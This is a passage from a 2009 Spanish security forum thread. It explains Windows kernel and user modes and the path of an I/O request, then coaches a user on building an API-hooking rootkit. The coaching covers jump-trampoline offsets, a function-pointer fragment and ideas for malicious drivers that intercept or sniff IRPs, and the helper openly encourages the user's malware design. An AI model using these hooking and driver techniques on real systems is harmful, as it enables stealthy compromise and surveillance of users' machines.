    Esto de los privilegios viene a que para establecer sistemas operativos seguros, los procesadores se han diseñado de forma que también posean al menos dos modos: usuario y supervisor, restringiendo así la ejecución de ciertas instrucciones del procesador y el acceso a ciertas zonas de memoria (por ejemplo acceso al mapa de E/S para procesadores x86).

    Cuando la máquina inicia el arranque, el procesador se encuentra en modo supervisor, y durante el proceso de carga del sistema operativo, establece el procesador en modo usuario, de forma que sólo él tiene acceso al modo supervisor. Al haber separado el espacio de memoria en dos (usuario y kernel), cuando un proceso en modo usuario solicite algún recurso al que no tiene permiso, pasará el flujo de ejecución al sistema operativo, el cual en modo kernel ya podrá realizar lo que quiera, puesto que en este modo ya puede hacer uso del procesador en modo supervisor.

    Dicho cambio de modo, suele darse cuando el proceso de usuario intenta acceder a algo que no tiene permiso, y provoca una excepción, pasando el control al sistema operativo en modo kernel. Éste evalúa quien ha provocado la excepción y obtiendo los parámetros, decide qué hacer: descartar la petición, simularla, etc...

    En Windows, esto se lleva a cabo haciendo que el proceso de usuario realice las llamadas al sistema correspondientes (llamadas a la API WIN32), y a partir de ahí, el sistema opertivo se encarga de realizar de forma segura el acceso correspondiente.

    No pasaba así en versiones de sistemas operativos multiprogramados anteriores a NT 4.0 (esto incluye W95/W98/ME), de forma que sólo había un único espacio de memoria y cualquier proceso podía acceder al espacio de cualquier proceso (ya sea procesos de usuario o del sistema), o a cualquier recurso... de ahí la inestabilidad de estos sistemas.

    Ahora bien, es posible acceder al espacio del kernel en modo usuario. El mecanismo se basa en que dada la arquitectura Windows NT 4.0 y superiores, basada en un modelo de diseño micronúcleo, en el que se permite que los gestores de dispositivos (o drivers) formen parte del espacio de memoria del núcleo, es posible que un codigo en modo kernel pueda acceder a zonas de memoria del núcleo, y corromperlo, lo que presenta un grave fallo de seguridad. No obstante, si la voluntad del driver es buena, mejora bastante el rendimiento y el acceso al recurso es mucho más eficiente que en otros sistemas con arquitecturas distintas... (¿los de Microsoft pensaron que los usuarios actuarían con buena fé?)

    Entonces dado que un driver forma parte del núcleo, y obtendría por tanto la CPU en modo supervisor cuando fuera ejecutado, simplemente codifiando un driver propio (¿malintencionado?), e instalándolo en el sistema, cualquier proceso de usuario que llamase a "ese driver" lograría actuar sobre el recurso tal y como quiera (un recurso puede ser cualquier cosa: "un dispositivo", "una zona de memoria", "una señal", "un mensaje", etc...). Es decir, el proceso de usuario abre el driver, y hace las peticiones correspondientes, pero dado que éste ha sido ¿malintencionado?, hará lo que esté programado para hacer con el recurso).


    En otro post, comenté cómo es el flujo de ejecución desde que el proceso de usuario solicita acceso a un recurso que sólo es accesible en modo kernel. En concreto el ejemplo era que el proceso de usuario accediera a un fichero almacenado en disco. (Lo copio y lo pego aquí, por no tener que escribir todo otra vez):

    1. Compilador/Proceso (modo usuario): LLama a una función o método de una clase: "LeerFichero(f)"
    2. Compilador (modo usuario): Traduce esa función a llamadas a la API WIN32: "CreateFile(f)" y "ReadFile(f)"
    3. Proceso (modo usuario): Comienza la ejecución del proceso, y en algún momento se realizará la llamada correspondiente a las funciones de la API, siguiendo el estandar stdcall propio de la API WIN32 para el paso de parámetros por pila, para acceder al fichero:
      Código:
      PUSH ... //paso de parámetros por pila, siguiendo el estandar stdcall
      PUSH ...
      etc...
      CALL CreateFile //llamada a la función: PUSH EIP, MOV EIP, &CreateFile
      
      PUSH ... //paso de parámetros por pila, siguiendo el estandar stdcall
      PUSH ...
      etc...
      CALL ReadFile //llamada a la función: PUSH EIP, MOV EIP, &ReadFile
    4. Sistema Operativo (modo kernel): Utilizando los servicios del núcleo (NTOSKRNL.EXE y NTDLL.DLL, como punto de entrada al SO), obtiene el identificador de la llamada y sus parámetros, y comprueba la validez de éstos. Si son correctos, invoca a las correspondientes rutinas (no documentadas por Microsoft): "NtCreateFile(f)" y "NtReadFile(f)".
    5. Sistema Operativo (modo kernel): Comunica la petición al driver de filtro (si existe), y en cualquier caso llama al driver de función correspondiente (Sabrá qué driver es al que tiene que pasar los datos, según la función "CreateFile", ya que en ella se especifica el recurso a utilizar. De cara al usuario/programador, CreateFile "abre" el driver correspondiente). La función "NtReadFile(f)" solicita el servicio de lectura, y el SO construye una estructura de datos denominada IRP (I/O Request Paquet), en donde se especifica que el servicio solicitado es de lectura: "IRP_MJ_READ".
    6. Driver (modo kernel): Dicha petición es capturada por el driver abierto por la función CreateFile, y éste al ver que se trata de un IRP_MJ_READ, invoca a su rutina "Read(KIrp I)"
    7. Driver (modo kernel): En dicha rutina se accede a la controladora hardware (IDE, SCSI, SATA, etc...) virtualmente, ya que físicamente accede el HAL. Se planea la forma de E/S: programada, interrupciones, DMA, etc..., según opte el diseñador del driver y evaluando los recursos. Se mapean las direcciones del dispositivo que utilizará y se acceden a los registros (datos, control y estado). En este punto el driver ve al dispositivo como una caja negra que posee registros, y que puede manipular y leer mediante funciones del tipo "inb()", "outb()", "inw()", "outw()", etc... El driver debe poseer una zona de memoria (buffer) en la que ubicar los resultados de la lectura. (O un buffer donde leer los datos para la escritura, si fuera el caso de que se tratase de una escritura)
    8. HAL (modo kernel): traduce dichas peticiones inb(), outb(), etc... por las correspondientes instrucciones IN/OUT del procesador, el cual puede ejecutar por encontrarse en modo supervisor (modo kernel).
    9. Dispositivo (sistema mecánico/electrónico): Sitúa las cabezas lectoras en el correspondiente cilindro. Sabrá qué cilindro es gracias al sistema de ficheros. En el caso de los sistemas FATxx, cada fichero está representado como una entrada en el directorio la cual apunta al primer clúster a leer. La traducción clúster a cilindro la realiza un microcontrolador programado en el propio disco duro, el cual le indica a qué distancia de la posición actual de la cabeza se encuentra el cilindro a leer, y según las peticiones pendientes y el algoritmo utilizado para tratar las peticiones pendientes (FIFO, SSTF, SCAN, C-SCAN, N-SCAN, etc...), mueve las cabezas lectora hacia el cilindro correspondiente (utilizando servomotores). Lee los datos completos, teniendo en cuenta que en FATxx, cada clúster apunta al siguiente clúster a leer hasta llegar a EOF (End Of File), es decir, cada vez que se lee un bloque de datos del disco, accede nuevamente a la tabla de la FAT, para saber cual es el siguiente clúster. Almacena todos los datos leídos en una memoria de amortiguamiento (buffer) interno del disco, y una vez finalizada la lectura, transfiere los datos a un bufer del HAL, tras lo cual el disco activa una interrupción, la cual es capturada por el sistema.
    10. Driver (modo kernel): El driver intercepta la interrupción, lo cual siginifica que ya tiene los datos en su espacio de memoria (en el buffer). Este avisa al SO de que ya está disponible la información.
    11. Sistema operativo (modo kernel): Recoge los datos del buffer del driver y lo coloca en el espacio de memoria del proceso de usuario que lo solicitó (no se copian los datos, sino que se modifican punteros a memoria)
    12. Proceso de usuario (modo usuario): Recoge los datos almacenados ya en espacio de memoria del usuario.
    En fin, esto es un tema muchísimo más amplio, y la cosa puede dar para miles de líneas de texto, que evidentemente ahora no voy a escribir xD.

    Cuando me refería a otras técnicas, me refería a analizar y ampliar objetivos de ataque, distintos a "corromper las funciones de la API para que salten a una subrutina malintencionada"... que por un lado dan buenos resultados, pero por otro son fáciles de detectar.

    Métodos mucho menos conocidos o indocumentados pueden ser por ejemplo el codificar un driver en modo kernel, el cual por ejemplo pueda ¿interceptar IRP's y ya veremos qué hace mi driver con ellos? ó ¿Codificar un driver de filtro que suplante al correspondiente del sistema para cada vez que una aplicación necesite acceder a un dispositivo, llame a mi driver? ó ¿Un driver de filtro que sniffe o monitorice lo que pasa por una determinada dirección de memoria? y un largo etc... Todo depende de los objetivos a conseguir claro está, y las 578 páginas de documentación referentes al WDM (Windows Driver Model), o las 768 páginas sobre el WDF (Windows Driver Foundation) dan para mucho juego (y tiempo perdido y dolores de cabeza, cuando te das cuenta que lo que llevas de código escrito en 2 semanas es una basura y hay que empezar de nuevo, y cuando por fin logras tener algo, desemboca en un BSOD).


    Artículos como ese están en la EZINE? ¿De dónde puedo descargar esas revistas?
    Aquí


    *BufferFN=DirApi-BufferFN+3 <--- este +3? Debería ser DirApi(dirección de la api) - BufferFN(la posición en la que estamos cuando estamos ejecutando el código al que apunta BufferFN. Dijiste en otros posts algo sobre el final de BufferFN, pero ¿por qué se fija en el final de BuffferFN, si el cálculo del salto es independiente de cuanto sea de grande el bloque reservado en memoria para BufferFN? No sé si me entiendes hystd, gracias de nuevo
    El +3 se suma porque el puntero BufferFN que apunta al vector en ese instante aún está a 3 posiciones del final de éste. Por lo que si no lo sumas, cuando asignes dicho puntero al puntero a función *pBuffFN saltará a: "DirAPI-BufferFN-3" en vez de a "DirAPI-BufferFN".


    Espero haberte ayudado en tu camino hacia el diseño de rootkits o malwares, que como ves, va mucho más allá de todo eso, y que por otro lado no es ético (no está bien crear malwares!!!), pero bueno, mientras no me encuentre que he sido infectado con el virus "biyonder", eres libre de aprender lo que quieras


    Un saludo.
    Última edición por hystd; 12-09-2009 a las 19:13
    El optimista tiene ideas, el pesimista... excusas

    Citar  
     

  18. #18  
    Medio
    Fecha de ingreso
    Sep 2008
    Mensajes
    134
    Descargas
    0
    Uploads
    0
    Vale, parece que lo voy pillando, es verdad, que BufferFN apunta al principio de los 4 bytes que determinan el salto, entonces el salto se debe producir después del último byte de la distancia del salto de 0xE9.

    Ya sólo una aclaración: desde BufferFN saltamos a la Api, hasta ahí todo correcto, pero si nos damos cuenta, estamos saltando a DirApi (el comienzo de la Api) ¿O es que con el memcpy que realizamos anteriormente, DirApi se queda apuntando al 6º byte de la Api y entonces miFuncion saltará el 6º byte?

    Un saludo!
    Citar  
     

  19. #19  
    Moderador Global Avatar de hystd
    Fecha de ingreso
    Jul 2005
    Ubicación
    1, 11, 21, 1211...
    Mensajes
    1.596
    Descargas
    58
    Uploads
    0
    Las dudas que tienes ya no corresponden a dudas específicas del rootkit, sino a dudas básicas de C.

    void *memcpy(void *s1, const void *s2, size_t n);
    Copia "n" primeros bytes de la dirección apuntada por s2 a la dirección apuntada por s1.

    Si te fijas, luego hace:

    pBuff = (int (__stdcall *)(HWND,LPCTSTR,LPCTSTR,UINT,UINT)) (Buffer-6);
    Por lo que saltará a la dirección siguiente a la modificada en la función de la API original (6º byte), es decir, tu modificas los 5 primeros bytes en la original, pues salta al 6º. Si saltara al primero entraría en el bucle.

    Un saludo.
    El optimista tiene ideas, el pesimista... excusas

    Citar  
     

  20. #20  
    Medio
    Fecha de ingreso
    Sep 2008
    Mensajes
    134
    Descargas
    0
    Uploads
    0
    Ajam, entiendo. Muchísimas gracias, hystd. Ahora toca darle caña a códigos de esta índole. Y leeré tu artículo de la revista
    Citar  
     

Temas similares

  1. problema con rootkits (Solucionado)
    Por Esertu en el foro MALWARE
    Respuestas: 17
    Último mensaje: 14-12-2008, 16:44
  2. Respuestas: 0
    Último mensaje: 16-05-2008, 01:15
  3. duda codigo php
    Por knox18 en el foro PROGRAMACION WEB
    Respuestas: 4
    Último mensaje: 02-10-2007, 20:16
  4. Respuestas: 1
    Último mensaje: 06-04-2007, 18:08
  5. [PDF]Seguridad en GNU/Linux, Kernel y rootkits.
    Por jmporcel en el foro INTRUSION
    Respuestas: 4
    Último mensaje: 06-05-2006, 06:05

Marcadores

Marcadores

Permisos de publicación

  • No puedes crear nuevos temas
  • No puedes responder temas
  • No puedes subir archivos adjuntos
  • No puedes editar tus mensajes
  •